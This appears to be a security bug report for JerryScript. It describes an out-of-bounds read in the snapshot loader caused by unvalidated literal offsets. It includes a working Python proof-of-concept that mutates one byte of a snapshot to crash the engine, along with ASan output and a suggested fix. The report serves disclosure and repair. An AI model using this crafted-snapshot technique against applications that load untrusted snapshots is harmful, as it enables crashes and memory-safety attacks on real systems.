JerryScript: malformed snapshot literal offset causes out-of-bounds read in ecma_snapshot_get_literal
Summary
The snapshot loader does not fully validate literal offsets stored in a snapshot file. A crafted snapshot can make ecma_snapshot_get_literal compute a literal pointer outside the snapshot buffer and then read a string length from that invalid address.
This is reachable through jerry --exec-snapshot and the public jerry_exec_snapshot() API. It is not reachable from plain JavaScript source execution.
Security impact
- Suggested severity: Medium
- Suggested CWE: CWE-125 (Out-of-bounds Read)
- Attack surface: malformed snapshot file loaded by the engine
- Observed impact: deterministic release-build crash / ASan SEGV
- Note: this is snapshot-input-triggered, not pure JavaScript source-triggered
- Security impact exists when an embedding application accepts snapshots from an untrusted or attacker-modifiable source. If snapshots are always generated and stored by the application itself and cannot be modified, the practical risk is lower.
Root cause
At jerry-core/ecma/base/ecma-literal-storage.c, the snapshot literal offset is used without checking whether it stays inside the snapshot literal table:
const uint8_t *literal_p = literal_base_p + (literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT);
...
uint16_t length = *(const uint16_t *) literal_p;
return ecma_find_or_create_literal_string (literal_p + sizeof (uint16_t), length, false);There is no bounds check before reading length or before using the following bytes as string data.
JerryScript revision
Observed at JerryScript commit:
b7069350c2e52e7dc721dfb75f067147bd79b39bTested on: 2026-06-20.
Build platform
Ubuntu 24.04.4 LTS (Linux 6.6.87.2-microsoft-standard-WSL2 x86_64)Build steps
Snapshot-enabled ASan build:
python3 tools/build.py --clean \
--builddir=build-snapshot-asan \
--jerry-cmdline-snapshot=ON \
--snapshot-exec=ON \
--snapshot-save=ON \
--compile-flag=-fsanitize=address \
--linker-flag=-fsanitize=address \
--strip=OFFA non-ASan snapshot build can also reproduce the crash:
python3 tools/build.py --clean \
--jerry-cmdline-snapshot=ON \
--snapshot-exec=ON \
--snapshot-save=ONBuild log
Not a build problem. Build completed successfully.
Test case
The following Python script generates a valid snapshot from benign JavaScript, mutates one byte in a serialized ecma_value_t snapshot literal offset, prints the relevant layout information, and writes poc.snapshot.
make_snapshot_oob.py:
#!/usr/bin/env python3
import os
import subprocess
import tempfile
import struct
import hashlib
JERRY_SNAPSHOT = os.environ.get("JERRY_SNAPSHOT", os.path.abspath("./build/bin/jerry-snapshot"))
SOURCE = """var x = { a: 1 }?.a;
var x = { a: 1 }?.a;
var x = 1;
function f() { return 1; }
var x = true ? 1 : 0;
print(0);
"""
def main():
with tempfile.NamedTemporaryFile(mode="w", suffix=".js", delete=False) as f:
f.write(SOURCE)
js_path = f.name
snap_path = js_path + ".snapshot"
try:
subprocess.run(
[JERRY_SNAPSHOT, "generate", "-o", snap_path, js_path],
check=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
with open(snap_path, "rb") as f:
snap = bytearray(f.read())
if len(snap) <= 0x8e:
raise RuntimeError("Unexpected snapshot layout: only %d bytes" % len(snap))
original = bytearray(snap)
# This byte is part of the little-endian ecma_value_t at file offset 0x8c.
# The mutation changes that value from 0x00000087 to 0x007a0087.
snap[0x8e] = 0x7a
magic, version, flags, lit_table_offset, number_of_funcs, func0 = struct.unpack_from("<IIIIII", original, 0)
old_value = struct.unpack_from("<I", original, 0x8c)[0]
new_value = struct.unpack_from("<I", snap, 0x8c)[0]
literal_offset = new_value >> 5 # JERRY_SNAPSHOT_LITERAL_SHIFT == ECMA_VALUE_SHIFT + 2 == 5.
literal_absolute = lit_table_offset + literal_offset
print("snapshot size:", len(original))
print("original sha256:", hashlib.sha256(original).hexdigest())
print("mutated sha256:", hashlib.sha256(snap).hexdigest())
print("literal table offset:", lit_table_offset)
print("literal table size:", len(original) - lit_table_offset)
print("original byte at 0x8e:", hex(original[0x8e]))
print("mutated byte at 0x8e:", hex(snap[0x8e]))
print("original ecma_value_t at 0x8c: 0x%08x" % old_value)
print("mutated ecma_value_t at 0x8c: 0x%08x" % new_value)
print("mutated type bits:", new_value & 0x7)
print("decoded literal offset:", literal_offset)
print("absolute literal address offset:", literal_absolute)
print("points bytes past snapshot end:", literal_absolute - len(original))
with open("poc.snapshot", "wb") as f:
f.write(snap)
print("Wrote poc.snapshot")
finally:
os.unlink(js_path)
try:
os.unlink(snap_path)
except FileNotFoundError:
pass
if __name__ == "__main__":
main()Execution platform
Same as the build platform.
Execution steps
For the ASan build above:
JERRY_SNAPSHOT=build-snapshot-asan/bin/jerry-snapshot python3 make_snapshot_oob.py
ASAN_OPTIONS=detect_leaks=0 build-snapshot-asan/bin/jerry --exec-snapshot poc.snapshotFor a non-ASan snapshot build:
JERRY_SNAPSHOT=build/bin/jerry-snapshot python3 make_snapshot_oob.py
build/bin/jerry --exec-snapshot poc.snapshotOutput
ASan output:
snapshot size: 166
original sha256: 66ed96335483160bfc15c99c1956dbd3b7bba79911d485cd7c952e0d27bf50fb
mutated sha256: 4daa6ca55e13460be26a27bb62dda2d30ea6779522933a18cb65197dfdeed799
literal table offset: 144
literal table size: 22
original byte at 0x8e: 0x0
mutated byte at 0x8e: 0x7a
original ecma_value_t at 0x8c: 0x00000087
mutated ecma_value_t at 0x8c: 0x007a0087
mutated type bits: 7
decoded literal offset: 249860
absolute literal address offset: 250004
points bytes past snapshot end: 249838
AddressSanitizer:DEADLYSIGNAL
ERROR: AddressSanitizer: SEGV on unknown address 0x50f00003d0d4
The signal is caused by a READ memory access.The mutated value still has type bits 7, which is ECMA_TYPE_SNAPSHOT_OFFSET. ecma_snapshot_get_literal then computes:
literal_p = literal_base_p + (literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT)
= snapshot[144] + 249860The generated snapshot is only 166 bytes long, so the decoded literal pointer is 249838 bytes past the end of the snapshot buffer.
Backtrace
Representative ASan stack:
#0 ecma_snapshot_get_literal
#1 snapshot_load_compiled_code
#2 snapshot_load_compiled_code
#3 mainThe crash occurs when ecma_snapshot_get_literal reads the string length from an out-of-bounds literal_p.
Expected behavior
The snapshot loader should validate all snapshot offsets and sizes before reading from them. A malformed snapshot should be rejected with an error instead of causing an out-of-bounds read or process crash.
Suggested fix
Primary fix: validate literal offsets before use.
- Pass the snapshot bounds or literal-table bounds to
ecma_snapshot_get_literal. - Before pointer arithmetic, check that
(literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT)is within the literal table. - For number literals, check that
sizeof(ecma_number_t)bytes are available. - For BigInt literals, check that the header and declared digit data fit in the literal table.
- For string literals, check that
sizeof(uint16_t) + lengthbytes are available. - Use overflow-safe checks such as
required_size <= literal_table_size - offset.
Defense in depth: validate nested compiled-code offsets, bytecode sizes, and other snapshot-internal pointers before following them.
Regression test suggestion
Add a snapshot regression test that runs this malformed snapshot and verifies that jerry --exec-snapshot poc.snapshot rejects the input cleanly instead of crashing.
Source: jerryscript-project/jerryscript